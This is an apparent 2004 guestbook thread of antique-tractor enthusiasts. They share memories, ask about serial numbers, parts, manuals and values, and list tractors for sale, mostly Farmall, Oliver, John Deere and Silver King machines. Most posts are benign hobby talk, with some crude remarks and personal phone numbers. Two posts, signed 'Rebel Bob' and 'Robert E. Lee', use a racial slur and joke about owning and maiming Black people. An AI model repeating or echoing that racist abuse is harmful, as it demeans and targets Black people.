Robert Wisner wrote on Friday, August 27, 2004 (PDT):I grew up with a 1937, 1941, and 1948 Silver King. The 1942 models (made from 1942-1956)were much improved from earlier ones, especially in the brakes. They were confortable riding, easy handling, economical tractors. I have a restored 1946 and have a 1941 that I have not yet started working on. The three-wheel models typically had a top speed of about 22 miles per hour, while some 4 wheel models would go up to 30 miles per hour. Unique features on the '42 model included a patented limited-slip differential and a drawbar that anchored further forward on the tractor than most other makes. That provided extra traction. These features and the higher clearance allowed the tractor to go through mud that would stop other brands. We had one farm with large hills. Our Farmall M and John Deere A would raise the front end off the ground on a hard pull going up those hills, but I never had that happen with the Silver King, due to the draw bar attachment point. Silver Kings were made from 1934 to 1956. In their best year they made about 1,100 tractors. Most other years, they made less than a thousand. In the final two years of production,they were made by Mountain States Fabricating Company in Wheeling, West Virginia. Before that, they were made in Plymouth, Ohio by a company whose main business was making switch locomotives. Horse power of the Model '42s was about like a Farmall Super H.
John Sammel wrote on Friday, August 27, 2004 (PDT):I have a John Deere H that we used until about 20 yrs ago. I love that tractor so much and plan start restoring it over the nexted couple of winters. it truely needs lots of work. I do know that it will be well worth the effort
tom anderson wrote on Thursday, August 26, 2004 (PDT):just got an "M" for $50.00. neighbor got tired of it not starting; new carb and it runs like a champ! i think it runs better than my F350!!
Ted gleaton wrote on Wednesday, August 25, 2004 (PDT):Howdy all. I'm about to buy a mid 50's cub with some attachments and parts, was driven into a garage 10 years ago and has sat ever since.Would sitting 10 years ,in itself, cause the motor to seize? I,m getting it from a little old lady for $750 minimum(her words). I'll repost If and when I get it home. I just wanna play farm on it.Thanks fer listening, Ted.
EARL CALLENDER wrote on Wednesday, August 25, 2004 (PDT):I NEED HELP.I THINK, I JUST PURCHASED A REGULAR.IT HAS THE BULB,EXHAUST.SERIAL# IS MISSING.MOST OF THE CASTINGS, HAVE DA AT THE END OF THE CASTING #. DOES THIS MEAN ANYTHING? I NEED-A MANUAL--PICTURES, OF THE THROTTLE LINKAGE, FROM THE STEERING WHEEL TO THE CARBURATOR. I DONT EVEN KNOW WHAT IT LOOKS LIKE. ANY HELP WILL BE APPRECIATED. THANKS,EARL CALLENDER,NEW BERN, NORTH CAROLINA.
Gerrit Ten Kley wrote on Wednesday, August 25, 2004 (PDT):Darrell,The battery gnd. on B Farmall is negetive.. I have a restored B with new tires,stearing wheel,muffler,seatcover,new paint. Equiped with full set of wheel weights, pulley-power take off, starter but no lights or generator.Tested out 22 hp on power take off-dino. asking 3500 here in N W Washington. Can mail picture. Not very many B's on west coast.
MIKE SPRAGUE wrote on Tuesday, August 24, 2004 (PDT):I NEED A MANUAL-FOR FARMALL M CAN ANYONE TELL ME WHERE TO GET ONE? OWNERS MANUAL
Gene Garat wrote on Tuesday, August 24, 2004 (PDT):I would like to know the approximate shipping weight of a Farmall M (year unknown). I want to ship my father's M from CA to my son's who live in WA.
Ralph Nesci wrote on Monday, August 23, 2004 (PDT):I have a John Deer model LA. It is in good condition but the exhaust manifold has rusted thru. I would appreciate any info on where to purchase a manifold? Is a remanufactured manifold ok or should I look for an original. Thanks for any help
Bobby Duckworth wrote on Sunday, August 22, 2004 (PDT):I want to buy a restored or partially restored, running Oliver 70 Row Crop tractor. My grandfather farmed with a Oliver 70 Row Crop back in the 1940's and 1950's on his farm near Vernon, Texas in Wilbarger County. I don't know the exact year model, but I think it was purchased in the early to mid 1940's. I would like to find "his" Row Crop 70, but don't know if I will be able to. Please email me if any of you have one for sale.
Bill Sires, Jr. wrote on Friday, August 20, 2004 (PDT):Looking for front rims and other parts for the G. Thanks
Jim Bennett wrote on Wednesday, August 18, 2004 (PDT):Hi Dunns, Everybody okay? Jim B.
John Dale wrote on Wednesday, August 18, 2004 (PDT):I have a 1951 case and use it all of the time I'am looking for a carburetor kit for the case or some place I can get one. Thank for your help
FarmBoy wrote on Tuesday, August 17, 2004 (PDT):I have a 1941 Farmall BN athat had a tree growing through it. It is in terrible shape, exept the transmission. We got a 1940 B as a parts tractor, and the B was the one that ran! So now we will restore both! ;>)
David Whitaker wrote on Tuesday, August 17, 2004 (PDT):I bought a 420c from my father in 1999 at that time it has been in the family for 27 years and has had the motor,rear end, transmission and right track drive line rebuilt. I have used it alot until 2 years ago. last week end my uncle asked me to take it to a tractor show in Alabama that he was a part of. There was alot of people interested in it and asking alot of questions.I am proud of the little crawler (not to mention the punch it packs) I have just about decided to retire it with a restoration and just show it off at the tractor shows. (By the way It was the only JD 420 crawler there)
Tom Staggs wrote on Monday, August 16, 2004 (PDT):I have a John Deere B tractor I am looking for someone in the Little Rock Arkansas area that has a John Deere tractor club or might be interested in purchasing this tractor
Don wrote on Monday, August 16, 2004 (PDT):I need rear rims for a 1950's vai. Any Ideas? single bevel all the way around, 10-24 thanks
petie wrote on Sunday, August 15, 2004 (PDT):my father bought a farmall regular in 1949 i was 14 years old so i got to work it a lot. in 1951 my father bought my brothers regular for me so ihave some knowledge of the farmall. iam also getting ready to restore mine.
Jim Broughton wrote on Saturday, August 14, 2004 (PDT): To; Jack Ezell...Your Cub is 10.5 horsepower,same as all the rest, unless someone has "jazzed-up" the engine. See the Nebraska Tractor Test #386 for the complete specs on the Cub. LOL, Jim
colby petersen wrote on Saturday, August 14, 2004 (PDT):HI,I am looking for a case VAO in mid-condition running. If anyone fids one I would appreciate it,thankyou.
RW wrote on Friday, August 13, 2004 (PDT):I have a 48D that was running when I brought it home from the auction a few months ago. I think I may have bitten off more than I can chew with this one. I can't get it to start. I think it may be electrical. Due to its unique nature and difficulty of finding parts I may sell it. What is a fair asking price?
Tom wrote on Thursday, August 12, 2004 (PDT):My grandfather had a ZA. Wide front,steering shaft down left side,swinging seat with foot rests behind axle,horziontal brakes,little platform under PTO,belt pulley that spun when tractor moved,hand clutch. It was the first tractor I learned to drive and was used for everything. Silage blower,buzzsaw,rake hay,hayloader,disc,drag you name it. The seat was off it so we could drive thru the barn with the spreader standing up. We drove it all the time standing. Used a Farmall H, an M and a 350 for everthing else. An uncle still has it. Tired but it still runs.
JIM MALONEY wrote on Thursday, August 12, 2004 (PDT):I HAVE A MASSEY HARRIS TRACTOR MODEL 81R SERIAL #403995 WHAT DO I HAVE 33, 44, PHONY?....AND HOW DO I KNOW WHAT YEAR IT MIGHT BE??
Arthur Randall wrote on Wednesday, August 11, 2004 (PDT):Hi I own A Oliver Cletrac HG 42 crawler with a blade.It is an old tractor and after 40 years of being garaged and not run , with a little work I got it running an im using it. My father used it 40 years ago to dig cellars and do alought of back grading. I hope it gives me many more years of light duty work.When any one is looking for parts many of the parts from the old john deer tractors will work.Any one with an oliver HG 42 write back I would be interested in swoping info Thanks and keep on TRACTORING
john lane wrote on Tuesday, August 10, 2004 (PDT):i welwe did dwive it two stowery
john lane wrote on Tuesday, August 10, 2004 (PDT):i dwive dat twactor befow
andrew brand wrote on Tuesday, August 10, 2004 (PDT):my father ownes a 1929 farmall regular. it's all original but is not runnin at this time. needs some work befor it's up and workin.8-10-04
David wrote on Tuesday, August 10, 2004 (PDT):I have a Minneapolis Moline "Z" for sale in Michigan's U.P. near Escanaba. The book states "ZA", but the painted hood states "Z". It has been in the family since early 1960s.
J.A. Gonzales wrote on Sunday, August 08, 2004 (PDT):Still have an Oliver 70 in Texas,Nueces county.
Golden Lopez wrote on Thursday, August 05, 2004 (PDT):I'm trying to find information on a Case 300 propane between 1940 - 1948. Can anyone help?
DARRYL KRAUSE wrote on Sunday, August 01, 2004 (PDT):I HAVE A SERIES 1 SERIAL #1457 WITH A TURBO FOR SALE.IT HAS A HOLE IN THE BLOCK AND STUCK IN 5TH GEAR.3 POINT,PTO,NO GRILL AS OF YET.60% 24.5X32 REARS AND 11.00 16 FRONTS.GOOD SHEET METAL.WITH A.C.3500 1986 GENERATOR MOTOR WITH 2000HRS. SELL AS PACKAGE FOR $4000.00
Sean Asam wrote on Sunday, August 01, 2004 (PDT):I heave just been given a Cockshutt 60. My son is a total tractor nut and wants it fixed yesterday. I have not yet even located the serial number, I have looked everywhere, I thought that it would be close to the shifter, but I cannot see it. Did all the cockshutt 60 have full side cowlings on both sides? I need a clutch with housing as well as the pulley to go on the PTO next to the shifter.
jeff wrote on Saturday, July 31, 2004 (PDT):Hello to all field marshall owners,beware, once bitten always smitten,you can never get them out of your blood.I started thirty five years ago and still love them.Is there anybody in australia who has a 3A or 3 they would like to sell,dead or alive,its time to build another one.Many thanks Jeff
GRegg McCann wrote on Saturday, July 31, 2004 (PDT):I own a 1949 to-30 Ferguuson. the tractor is in good cond.I am working on it. it runs fine. but has leaked all thhe trans, rear end oil and hyddralic oil out of of it. i got it from my 99 year old uncle.motor runs good now has good and even comp..The shop manual I was told Says to to replace power lift unit with 80-90 wt. oil as well as trans fluid. It is the operating fluid for the entire system. I believe ! I should use hyd. fluid.for power lift unit but the 80or 90. would be used for trans. at rear end. but it seems the 80 wt, oil runs all though system. the tractor is all orignal.It has been garaged. since bought new any help on this. it has been parked in shed when not in use. has not been used. in years has done much terraceing in Maries co mo.many other implements with it also have ford flat head to restore or sell any help would be useful.but do't need smart ass answers.If youare found fooling with tractor at night you will be found there in morn.Thanks for helpful replys. Harry Ferguson did win lawsuit against ford On on triple hitch and and rear end weight transfer.Thanks Gregg McCann ferguson
GRegg McCann wrote on Saturday, July 31, 2004 (PDT):I own a 1949 to-30 Ferguuson. the tractor is in good cond.I am working on it. it runs fine. but has leaked all thhe trans, rear end oil and hyddralic oil out of of it. i got it from my 99 year old uncle.motor runs good now has good and even comp..The shop manual I was told Says to to replace power lift unit with 80-90 wt. oil as well as trans fluid. It is the operating fluid for the entire system. I believe ! I should use hyd. fluid.for power lift unit but the 80or 90. would be used for trans. at rear end. but it seems the 80 wt, oil runs all though system. the tractor is all orignal.It has been garaged. since bought new any help on this. it has been parked in shed when not in use. has not been used. in years has done much terraceing in Maries co mo.many other implements with it also have ford flat head to restore or sell any help would be useful.but do't need smart ass answers.If youare found fooling with tractor at night you will be found there in morn.Thanks for helpful replys. Harry Ferguson did win lawsuit against ford On on triple hitch and and rear end weight transfer.Thanks Gregg McCann ferguson
jack ezell wrote on Friday, July 30, 2004 (PDT):What is the horsepower of a 1951 cub tractor
hess roorda wrote on Friday, July 30, 2004 (PDT):We have what I am told is a Regular Farmall. Is there any way of determining what year it was made aand its approximate sale value. Thanks.
Augusto Sanguinetti wrote on Thursday, July 29, 2004 (PDT):I'm from Argentina . I grew up in a farm and used a Massey Harris 44 diesel row crop for many years ,that my father bought to a local dealer in the year 1952 . One of my brothers still have it and is in service .
Zip wrote on Tuesday, July 27, 2004 (PDT):I have a 1930 Farmall Reg. would like to know how much it is worth. It is in running condition, on rubber.
Dave Glenn wrote on Tuesday, July 27, 2004 (PDT):I have a 1947 oliver oc6 that runs but wont move. It is a track machine can anyone advise
Budd Dewey wrote on Monday, July 26, 2004 (PDT):Looking for a Distributor cap, headlight, steering wheel, battery box and stick shift knob for my Farmall 1944 BN tractor. Looking for original parts please!
phillip steinmetz jr. wrote on Monday, July 26, 2004 (PDT): I AM LOOKING FOR A FARMALL F-20 or F-30 TO RESTORE OR ONE THAT IS ALREADY RESTORED,I LIVE IN TENNESSEE AN HOUR WEST OF NASHVILLE,BUT I WILL TRAVEL OUT OF STATE TO FIND ONE. PHONE#(931)296-2676
Len Mosher wrote on Monday, July 26, 2004 (PDT):I have a BO Lindeman Crawler, about 95% complete, in "disassebled" condition. I got it several years ago. It was running and I used it to skid logs to build a log house. It has a blade with cylinders inside the push arms and cables to raise the blade, attached to hangers that stick out to the side. I'm sure the folks who've seen these tractors know what I'm talking about. One the hangers is not original, the old one having been broken or lost. The hydraulics leaked like crazy, and not having much money, I used to have to take the cylinders apart regularly, to replace the "leathers", which I fashioned by freehand, with scissors. For every hour I used the machine, I used to spend about an hour working on it, as it was old and I was probably asking a lot of it. The steering clutches were quite warn, resulting in frequent attempts to adjust them and get a little more use, without spending much money. It really was a great machine, though, and I pulled some temendous weights with it. It was a little too exciting using it in the bush, however, especially when you got going backwards down a slope, with poor steering clutches and brakes, and the seat arrangement having you as the most rearward component. It was also fun going over big humps, because when the front of the crawler went down in a hurry, you went up at the same speed, and had to hold on for dear life, to not be catapulted right over the machine and land in front of it. I got it stuck in a mud hole once, working on my water line,and after many hours came out looking like the creature from the black lagoon, covered with mud thrown up by the flywheel and clutch cylinder. It was really deep. I finally got it out by throwing rocks under the tracks, until there was enough of a base to get moving again. I have always meant to restore it, which resulted in it's current state. I had someone working on it to fix the steering clutches, but he broke something (a cast part, difficult to repair), and then his wife died unexpectedly and it has sit idle for a couple of years, in it's state of dissasemblement. Anyone interested in a project? It's mostly there, and was running before being taken apart. It's a great source for parts, if nothing else.
Bryan LaVergne wrote on Sunday, July 25, 2004 (PDT):wanted small dozer oliver oc3 or of similar size Washington St.
Bill Oster wrote on Saturday, July 24, 2004 (PDT):I am looking for an L or LA to restore Located in the midwest Phone 563 582 2954 Or E mail
Wes Bemis wrote on Saturday, July 24, 2004 (PDT):I would like to know of any and all Farmall b414, diesel, serial number31374 and higher that are for sale. Please drop me a line and or a picture
DGT wrote on Friday, July 23, 2004 (PDT):I wish I could get one of these tractors you guys are talking about, but I don't yhink I'll ever get it.
Phillip Scott wrote on Friday, July 23, 2004 (PDT):I am looking to buy a Model G Allis with a plow, cultivator planter and sycle mower for use in my garden. I live in southwest Wisconsin , but location does not matter.
Phillip Scott wrote on Friday, July 23, 2004 (PDT):I am looking to buy a Model G Allis with a plow, cultivator planter and sycle mower for use in my garden. I live in southwest Wisconsin , but location does not matter.
Michael wrote on Thursday, July 22, 2004 (PDT):I recently bought a 1947 Farmall B and i am wondering what its worth it runs great and fires up on the first crank? And anyone know if they are hard to restore? Thanks
Lonnie Sewell wrote on Thursday, July 22, 2004 (PDT):I have a MF. 97 and want to put front weights on it. It has a bracket but not sure if it had MF weights or red MM weights. Would like some pictures if you have. Lonnie
J wagner wrote on Wednesday, July 21, 2004 (PDT):jw july 22, 2004, nice tractor bro. I don't critize anyones equipment. I am realy a massey-ferguson man myself.
Roger Levoy wrote on Wednesday, July 21, 2004 (PDT):Desperately looking for points for a 1250 cockshut tractor. Apparently they are discontinued but managed to locate the make and order number "Marelli DU2142". Points are for a four cylinder gas fiat engine. Any help from anyone would be appreciated.
Jason Trinley wrote on Tuesday, July 20, 2004 (PDT):hi my name is jason,i have cub for sale that was my grand pops.i am not sure what year it is but the serial # is 3519j.The owners manual has a delivery date of 1956.It was always kept inside and well mainained. The paint is original and in decent condition.The motor was freshened upafew years ago.I have a sickle mower,48"woods type mower,snow plow garden plow,disc,tire chains,wheel weights and owners manual for it. It also has a new battery. The regulator and generator were replaced a few years ago.Iwould like to get 2500 for it.
Mrs Jolene Rogala wrote on Tuesday, July 20, 2004 (PDT):All MASSEY FERGUSON OWNERS BEWARE! My husband purchased the MF tractor used and a particular lever unbeknown to him has to be engaged when towing a load going DOWNHILL!! The lever was not properly marked. I put the tractor in the lowest speed I could and expected to have a very slow descent down this dirt road. Well, it was as though I had the clutch pushed in; it "free wheeled" down this dirt road the weight of the 40 foot dock raised the rear end of the tractor puncturing the left rear tire of the tractor. I do NOT recall anything from here on. The tractor ran upside down until the gas and oil were gone. The piston spun in the block and the engine is virtually SHOT! It is going to cost us approx. $5,000 to rebuild the engine. It has been a year since my accident. I had broken 5 metatarsal bones, two main tendons, severed the main artery supplying blood to my foot,and there were multiple dislocations. So, if you are buying a Massey Ferguson used obtain an owners manuel so this does not happen to you. My family has suffered greatly because of this accident, which could have been prevented had the lever been properly marked. I don't have the technical term for the lever, you research it yourself. Good Luck, Mrs Jolene Rogala PS I am walking and feel blessed to be alive.
Jenna Adams wrote on Monday, July 19, 2004 (PDT):Hi! I am looking for Case VAO Orchard fenders and deflectors for both right and left sides. Any information would be appreciated. Thank you!
Rodger wrote on Sunday, July 18, 2004 (PDT):I am looking for any information related to fire appratus supposedly built by Parrett Tractor in 1919 or the early 1920s. Vincent Bendix of Bendix brakes had financial interest in Parrett Tractor and moved the South Bend Motor Car Works fire engine firm from South Bend, Ind., to the Parrett plant at Chicago Heights in 1920. I am compiling a book on South Bend, Stutz and New Stutz fire apparatus and the Parrett connection would be of interest. Any assistance would be appreciated. Thank you, Rodger Birchfield, Indianapolis
Al Fernandes wrote on Sunday, July 18, 2004 (PDT):Nice tractor, have a 1945 60 RC I just bought not running, need a few parts, water pump, side curtains, grill, rear tires 9x32 any Ideas, ? thanks AL
Ted Osborne wrote on Saturday, July 17, 2004 (PDT):I just restored a Vac ,A ROW TYPE ,BUT I DON'T KNOW WHAT YEAR IT IS.IT LOOKS LIKE THJE ONE IN THE PICTURE .HOW DO I FIND OUT? THE SERIAL NUMBER IS 5552338 IF THAT HELPS. THANKS IF YOU CAN HELP. TED O.
GARY P COLLINS wrote on Thursday, July 15, 2004 (PDT):I HAVE A 81 MH,WHERE CAN I GET MANUALS FOR RESTORATION. DOES IT HAVE A POSTIVE GROUND OR NEGATIVE? ANY HELP APPRECIATED. GARY
B. Thompson wrote on Thursday, July 15, 2004 (PDT):My AC 160 has a howl when I backup. Anyone else have this problem? Going to tear it down since it is giving me metal 'bits' on the magnet for the hydtrans fluid filter. Would like some feedback from anyone who has had the rear apart. Thanks.
Bryan wrote on Wednesday, July 14, 2004 (PDT):Request for Info; Any info would be helpful on the Governor and carb for a 6 cylinder conversion. It has a flat-head, (valve in block) in a 1952 8n, 'serial number on engine - 56738, Type 7 HNN * 1002 * ,. Would like to find a manual to adjust governor and the carburetor, and/or your advice. Where can I get a service or parts manual on this Ford industrial engine? The governor on this one is messed up. Not sure if this is a Funk conversion. Did all of them have Funk cast in the oil pan? Thanks
bob wrote on Wednesday, July 14, 2004 (PDT):i was wondering how rare a Massey Harris 44-6 is. I can never find any pictures of them on the internet..
Lyle Asher wrote on Wednesday, July 14, 2004 (PDT):I drove a bundle wagon in a threshing ring here in Indiana when I was in high school. They used a Rumley oil pull for the seperator. I don't know the model but as a high schooler it SURE LOOKED BIG. Happy memories.
Lyle Asher wrote on Wednesday, July 14, 2004 (PDT):Our first tractor was a F 12 boought used an 1944 while I was in high school. On steel narrow rear rims with big lugs and row crop front wheels. I remember plowing with a 2 bottom plow nd when you would hit a hard spot and the furrow wheel would spin part of a round the draw bar would hit the ground andI would have to unhitch,dig under the draw bar, hook a chain to the plow,pull out to one side, rehook and go again. We farmed a little over 100 acres with it. Dad loved horses and would brake colts I had to do a lot of begging to get him to buy that first tractor. Riding in the F 12 was a lot better than riding behind a team of horses on a sulky plow.
Jack Kearney wrote on Tuesday, July 13, 2004 (PDT):I have a Case Tractor (vai) and I would like to find out what year it is. It's an older tractor and the serial # is - vai6039571- and the engine # is - 73k01285 - can any one tell me how to find the year through these numbers ? If so e-mail me at jrk at 1st.net.
Mike Keller wrote on Tuesday, July 13, 2004 (PDT):I would be interested in purchasing a smdta for pulling . JD's are popular in this aera. Want a deer killer. Thanks ( ;
gavin wrote on Tuesday, July 13, 2004 (PDT):this tractor is a shit heap
Joyce Bott wrote on Monday, July 12, 2004 (PDT):I am looking for a Continental N62A engine oil gauge rod and cap assembly. If you have one for sale (new or used), please Email me.
Gary Norton wrote on Sunday, July 11, 2004 (PDT):Looking for a restorable LA in or around TEXAS, NM,LA, Ok, etc...
Don Fender wrote on Sunday, July 11, 2004 (PDT):Hey'My dad has a 140 and he is having trouble with it building oil in the crank case.I'm trying to find a web sight with a diagrahm of all of the gaskets and where they go.I believe that where the hydraulic pump bolts to the block, the gasket is leaking.Thinking that hydraulic oil is leaking into the crankcase.Also I'm probably going to help him rebuild the motor.The tractor is A 140 farmall as you already know,The model # is 57779 HC and is a 1975.I need someone to please help me find these parts or web sites. Thanks a million Don.P.S I know this web site has all the parts but I was looking for a diagrahm of the gaskets.
James Engle wrote on Saturday, July 10, 2004 (PDT):my family has a 63 Dexta and a 65 or 66 Super Dexta that has been in the family since about 1972-D and 1975-SD and we finally wore the Dexta out and decided to use it for a parts tractor. It has been a donner for the Super Dexta and so far all parts interchange. The lift quit working due to the lift cylinder blowing the o-ring and we had to fix it with an O-ring purchased from the local auto parts store, and the engine is a perkins diesel and the parts are easy to find since those engines were used in everything you could imagine ( the latest engine in the tractor came from a vermeer 440 trencher). If you really look you will find that many of the parts are still being made even today but you have to figure out what they are currently being used on. Yes there are a few parts that only work on those tractors but, there are a lot of the parts that have been adapted to other tractors and equipment. I hope that this will help everone in the search for the parts they need and the problems they run into.
Jeremy Bogard wrote on Saturday, July 10, 2004 (PDT):Does anybody have any Parrett tractors they would like to sell, any condition, any age?
Leon Copenhaver wrote on Friday, July 09, 2004 (PDT):I have a cub tractor, FCUB serial #36104. what year is it.
G. Larson wrote on Friday, July 09, 2004 (PDT):I own a 49 MD ( rebuilt engine) and a 52 SMD. Both save alot of fuel.
Chuck Marcussen wrote on Friday, July 09, 2004 (PDT):IH cub it runs like a clock. New tires,new carb.,many parts. Located east of New Orleans. $1600.00 985 641 2015
Ken Sheren wrote on Friday, July 09, 2004 (PDT):I just got the chance to purchase a 1948 Cub with a number of implements. At first I thought the implements were home built by the way they were constructed, but on a closer look on a little pull behind disc, I found a International decal and a model # plate. I was wondering where I can find information and photos of implements offered for the Cub by IH and maybe other companies. My interest is really on this belly mounted single blade disc. The blade is 26 inches in diameter with a scraper attached to it. Hope to hear from somebody. Thanks, KEN
Derrick Blacquiere wrote on Friday, July 09, 2004 (PDT):My father had a 30 way in the back yard that he use many years ago in the woods. It had been sitting there for three years cents it was started last os I said to him can I have the old tractor in the back yard ;well what are you going to do with it he said; give it some new life I said. The next day I went down to the old tractor with some gas and a battery the starter was ceased up so I had to use the hand crank well three turns of the crank and the way she went and i drove it home five miles away.Now I have it sitting my garage going though the process of rebuilding it.I will let you now how it turns out
Greg Lillo wrote on Thursday, July 08, 2004 (PDT):Wanted; 9.5-32 tires and rims to fit a MH 81.
JOHN MAYSE wrote on Wednesday, July 07, 2004 (PDT):Can someone please help, I have recently purchased a International 560D wide front. The people I bougt it from knew nothing about it. I have gotten every number I can find off of it to find out more information on it, and cant even seem to find out the year. The plate with the serial number says international 560 d but after the 4 digit serial number it says s-y-cc can anyone tell me anything about this. I am also looking for the wiring diagram for it. please email me with anything you know thanks.
John Mark wrote on Wednesday, July 07, 2004 (PDT):i need info on a 1950 cub the gears were clicking and now the 1st and reverse are gone can any one tell me what to do or where to get a diagram and parts manual .
Brandon wrote on Wednesday, July 07, 2004 (PDT):Our family has had a farmall F-20 for three generations. My Great Grandpa,Had drug this tractor out of the trees one day and started tinkering on it.It wasn't long and he had it running. he re-painted it and put it in a musium. it was taken out of the musiam 11 years later. then it sat in our garadge for another 4 years. then one day we set our mind to it, we where going to get it running. within a mater of ours it was running like a top.
Ron Woodmansee === Marion, Indiana wrote on Tuesday, July 06, 2004 (PDT):When I was 13 yr old I was crank starting our old Farmall Regular, and i spun it fast enough that the impulse got kicked up and I didn't know it.. The next turn on the crank was a devastating blow to my mouth from the crank handle resulting in splintering and shattering my 2 front teeth up into the roof of my mouth.. So my memeories of a Farmall Regular are very vivid, although not pleasant, I'm now 62, so it's been several yrs ago.. be careful !!
Ron Woodmansee wrote on Tuesday, July 06, 2004 (PDT):I started my farming career on a 1937 Oliver 70 row crop, in 1948, when i was 6 yrs old. We done every farming operation under the sun with that tractor, including attaching my 4-h dairy heifer to the draw bar when she was being stubborn and didn't want to lead.. I remember always wanting to go down the road to the neighbor's place and drop our plow in with them and try and compete with their Farmall "M" and they also had an "H" that was in our class, lol.. When Dad quit farming and we moved to a small town, We kept the Oliver 70. and it became my "car" until I became 16.. Spent many evenings and nights sleding in the winter time, all the kids loved the old Oliver. Would love to have it back now, they were the greatest... Fond memories from our Oliver, Ron
bill mcenery wrote on Tuesday, July 06, 2004 (PDT):just got a massey 44 38 in rears and awide adj. front told its a swarts front end and known as red river special has no tag any infro. appreciated on this old high tractor
Aaron Lenk wrote on Tuesday, July 06, 2004 (PDT):My real dad use to own two G1000s and we used one for field work. We used 5 bottom plow and and a 16 foot disk with a 16 foot drag behind disk occasionally. It was a damn good work horse in the fields but the pto took a crap and thats only problem we had with that one. The other G1000 was older style and used that for spreading manure and when ever we thought we working them two G1000s it didn't even phase'em. G1000s where built heavy which is good for field work and had very good lugging power. One of the best tractors ever built and one of the best in my book for sure.
Ronnie Roberts wrote on Friday, July 02, 2004 (PDT):looking for a rim to fit a 7-30 tire from a 1948 g allis chalmer
Marvin Bjorge wrote on Friday, July 02, 2004 (PDT):I own an industrial 420C. My brother and I got it from our parents when they sold their ranch. I grew up using it to plow snow with as well as for back filling ditches, etc and my father used it on fire lines as our ranch was quite remote from fire fighting equipment at the time. People would stop in off the road wanting to buy it, but we opted to keep it and I'm glad we did. It has approx. 691 hours on it and is currently being rented out for finish work on roads, and around a small sand and gravel operation so it is still earning it's keep. People keep trying to buy it from me for way less than it is worth. It has a Holt hydraulic dozer that will swivel 2 or 3 points either direction or straight on. The hydraulics will pick up the front end of the dozer easily. It is definitely a keeper. 2 contributions to Farmshow Magazine have rated the 420c as a "Best Buy." Marvin Bjorge Polson, Montana
Kenneth Laird wrote on Thursday, July 01, 2004 (PDT): I have a D 10 Busghog tractor and 42 in. busghog mower . I am having trouble with the lever not staying ingaged when I try to use the mower . It will stay ingaged if I hold it , but just as soon as I let go it will kick out . Does anyone have a suggestion how to fix it .
Ben Hobbs wrote on Wednesday, June 30, 2004 (PDT):Have threee (3) original manuals for Model G. (1)Owner's manual, (2) equipment (cultivator, planter, breaking plow, etc. and (3) power takeoff and hydraulics. $150 If you are interested email me and I will dig out of storage and describe more fully.
John wrote on Wednesday, June 30, 2004 (PDT):Is there anyway you could tell me the model of the tractor I have and the year it was made? I have the engine number;71050 and the tractor number; 70524. I would like to see if there is a manual also. Thank you
Cory Christison wrote on Monday, June 28, 2004 (PDT):ATTN; BOB MEYER!!! I believe your friend's engine is a 14-28 type H engine...there is a chance it may be a 16-30...basically the same engine...Rumely just re-rated that engine at one point...but most likely the it is the 14-28 there is a complete serial number listing at www.oilpull.com
Elliot Kraemer wrote on Monday, June 28, 2004 (PDT):I need a Hydraulic pump for my GVI diesel asap!!! The numbers on the pump read. 39184-3 A743 10A23670 My number is (507)-753-2943 leave message
j kauffman wrote on Monday, June 28, 2004 (PDT):dick p YOU have a1940 L the 12th 1940L made
Keith Herman wrote on Sunday, June 27, 2004 (PDT):Looking for paint numbers for 1942 three wheeled Silver King, can someone help me? Thanks.
Justin Schambron wrote on Sunday, June 27, 2004 (PDT):My Dad has just recently past away and had aD15 i am going to restore it and i am looking for fuel line original. Mom said that he had given up on it he could not get it started but last night after a few hours and my wife pulling me down the road it came to life agian mom heard it fire up stepped on the porch and said she could hear poppy laugh and the best part was i could hear it too.Soi am looking for any tractor salvages near oklahoma,thank you and GOD BLESS.
Arthur Randall wrote on Saturday, June 26, 2004 (PDT):I own a 1948 Oliver cletrac Hg-42 and im looking for the points and condensor It has a weico magneto series C Thanks
denny wrote on Saturday, June 26, 2004 (PDT):6/26/04. I have my grandfather's SC in the shed waiting to be renewed, but I am looking for another SC to use in my southern Iowa vineyard as a permenant sprayer tractor. Does an one out there have an SC Case with Eagle hitch?
Russell Rogers wrote on Saturday, June 26, 2004 (PDT):I have a 57 model deisel parts tractor. It was still in use until a week ago. It has power steering.
Rebel Bob wrote on Friday, June 25, 2004 (PDT):I found some hands on ebay. They want two dirty niggers and a pack of redman dip. There located in north carolina
Dick McCombs wrote on Thursday, June 24, 2004 (PDT):We just got a 1947 cub. It needs 2 front wheels. Any help would be appreciated.
scott baker wrote on Wednesday, June 23, 2004 (PDT):i beleave i have a vao w/all fenders and some odd looking mounts but cant find a seriel number anywhere i have a ad in this website please contact me with any info i need to sell it to put my little girl in school
Robert E. Lee wrote on Tuesday, June 22, 2004 (PDT):I need me some hands for my nigger he lost em picken cotton or im gonna curb em.
matt hagen wrote on Tuesday, June 22, 2004 (PDT):we're trying to figure out what model fordson super major we have. fordson super major is written on the hood, but it looks more like the front of the power major. it has a backhoe and loader bucket that are not original, and it's been repainted. the wheels also look more like the power major. any help would be appreciated, thanks.
Dick Petri wrote on Monday, June 21, 2004 (PDT):Have a picture of myself on my dad's L when I was 8 and this father's day my daughter and son-in-law gave me a completely restored L. 60 years wasn't too long a wait for it. S#63012.
John T. Key wrote on Monday, June 21, 2004 (PDT):My father had a 1952 model b i plowed on this tractor for 8 years as a teenager he sold it in 1976 and bought a 2240 we are looking for one now if you have any information on finding one i wish you would e-mail thank you for your time and trouble. john t key
John Yoder wrote on Sunday, June 20, 2004 (PDT):I got a farmall reg ==1928== need an engine I do have a mag, exaust manifold, and a carb but would like to keep them for extras= need a complete engine + cluch assembly. eny one have one forsale? send me a price . John
Byron wrote on Sunday, June 20, 2004 (PDT): I have a f-20 international There is a number on left side of the cluch would that be serial number if not where would it be . And how can I tell what year it is any help would be appreciated.
Randy Schillinger wrote on Sunday, June 20, 2004 (PDT):Can anyone tell me the year of manufacture of a Farmall M , serial # FBK63613? Will have this 1 for sale soon.
Alexandra wrote on Saturday, June 19, 2004 (PDT):I am 12 years old and I have a '39 John Deere "H". It rocks! My sister, me and my brother, we all got a tractor when we were born. My sister got a Massy Harris Pony(or how ever you spell that) and my brother got a Farmall Cub (Mine is the biggest one of all of them ;-D). I got to drive it once. I hope to again soon. I just got a collectors model of my tractor, like for show. Model "H" are very hard to find, but that one was the first one I saw in the store. cya!
daniel wrote on Friday, June 18, 2004 (PDT):I Have a 1923 McCormick-deering Farmall Tractor.Made by International harvester company.simualer to the Farmall F-20,I would like to sale it,but have no Information or history on it. If you could send me more info, it would be greatly appreciated.Like I said the tractor is for sale.
chris hamm wrote on Wednesday, June 16, 2004 (PDT):i have a 1951 row crop 77 model and i am looking for an aftermarket 3 point hitch and also intrestred in hydros for the tractor thanks chris
